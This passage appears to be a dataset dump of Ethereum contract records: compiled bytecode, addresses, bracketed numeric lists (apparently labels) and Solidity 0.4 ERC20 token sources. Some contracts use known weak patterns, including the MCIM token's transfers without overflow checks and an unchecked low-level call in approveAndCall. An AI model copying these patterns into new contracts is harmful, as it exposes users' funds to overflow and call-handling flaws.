ffffffffffffffffffffffffffff16638f4ffcb18b898b8f6040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561306e578082015181840152602081019050613053565b50505050905090810190601f16801561309b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156130bd57600080fd5b505af11580156130d1573d6000803e3d6000fd5b5050505060019150509998505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561314257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561321b57fe5b818303905092915050565b6000806000731bf797219482a29013d804ad96d1c6f84fba4c456319045a2586866040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b838110156132c05780820151818401526020810190506132a5565b50505050905090810190601f1680156132ed5780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b15801561330b57600080fd5b505af415801561331f573d6000803e3d6000fd5b505050506040513d602081101561333557600080fd5b810190808051906020019092919050505091508173ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1614151561338257600080fd5b8543111561338f57600080fd5b6005600086600019166000191681526020019081526020016000205490506001600560008760001916600019168152602001908152602001600020819055506000811415156133dd57600080fd5b86600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a61338a604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a36135408b338b8a611710565b151561354b57600080fd5b87600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618c8b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a360019250505098975050505050505050565b60008082840190508381101515156136c857fe5b80915050929150505600a165627a7a72305820781f80b94309c349b0bfb4f36e61245466fffaf5b13974db24667e12fd4f6fdc0029
[ 1, 2 ]
0xf226dce0d5f0e76f705c665919155fe21ef641ea
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract MCIM is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function MCIM( ) { balances[msg.sender] = 10000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000; // Update total supply (100000 for example) name = "MCIM"; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = "MCIM"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef1565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610ee657600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820554c8c58a36e41c8606854fb868b78656d2c964f383bc62afa14aad17c442c450029
[ 38 ]
0xf226Df00C91EC1fd05e89382EdeB7B4b12f6DFab
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract AZEEMCOIN { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; uint256 public sellPrice = 1; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function AZEEMCOIN( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f57806342966c68146102a05780634b750334146102e557806370a082311461031057806379cc67901461036757806395d89b41146103cc578063a9059cbb1461045c578063cae9ca51146104a9578063dd62ed3e14610554575b600080fd5b3480156100d657600080fd5b506100df6105cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610669565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d46106f6565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106fc565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610829565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ac57600080fd5b506102cb6004803603810190808035906020019092919050505061083c565b604051808215151515815260200191505060405180910390f35b3480156102f157600080fd5b506102fa610940565b6040518082815260200191505060405180910390f35b34801561031c57600080fd5b50610351600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610946565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061095e565b604051808215151515815260200191505060405180910390f35b3480156103d857600080fd5b506103e1610b78565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610421578082015181840152602081019050610406565b50505050905090810190601f16801561044e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561046857600080fd5b506104a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c16565b005b3480156104b557600080fd5b5061053a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610c25565b604051808215151515815260200191505060405180910390f35b34801561056057600080fd5b506105b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106615780601f1061063657610100808354040283529160200191610661565b820191906000526020600020905b81548152906001019060200180831161064457829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078957600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555061081e848484610dcd565b600190509392505050565b600260009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561088c57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60045481565b60056020528060005260406000206000915090505481565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156109ae57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a3957600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c0e5780601f10610be357610100808354040283529160200191610c0e565b820191906000526020600020905b815481529060010190602001808311610bf157829003601f168201915b505050505081565b610c21338383610dcd565b5050565b600080849050610c358585610669565b15610d9f578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d2f578082015181840152602081019050610d14565b50505050905090810190601f168015610d5c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610d7e57600080fd5b505af1158015610d92573d6000803e3d6000fd5b5050505060019150610da0565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610df457600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e4257600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610ed157600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011415156110de57fe5b505050505600a165627a7a723058209580d18db8f3d09f6098b7a90ebabee9c59263e3cd73093b6bbfcce671673afb0029
[ 17 ]
0xf226e38c3007b3d974fc79bcf5a77750035436ee
pragma solidity 0.4.24; // File: contracts/library/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/library/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: contracts/library/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: contracts/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = 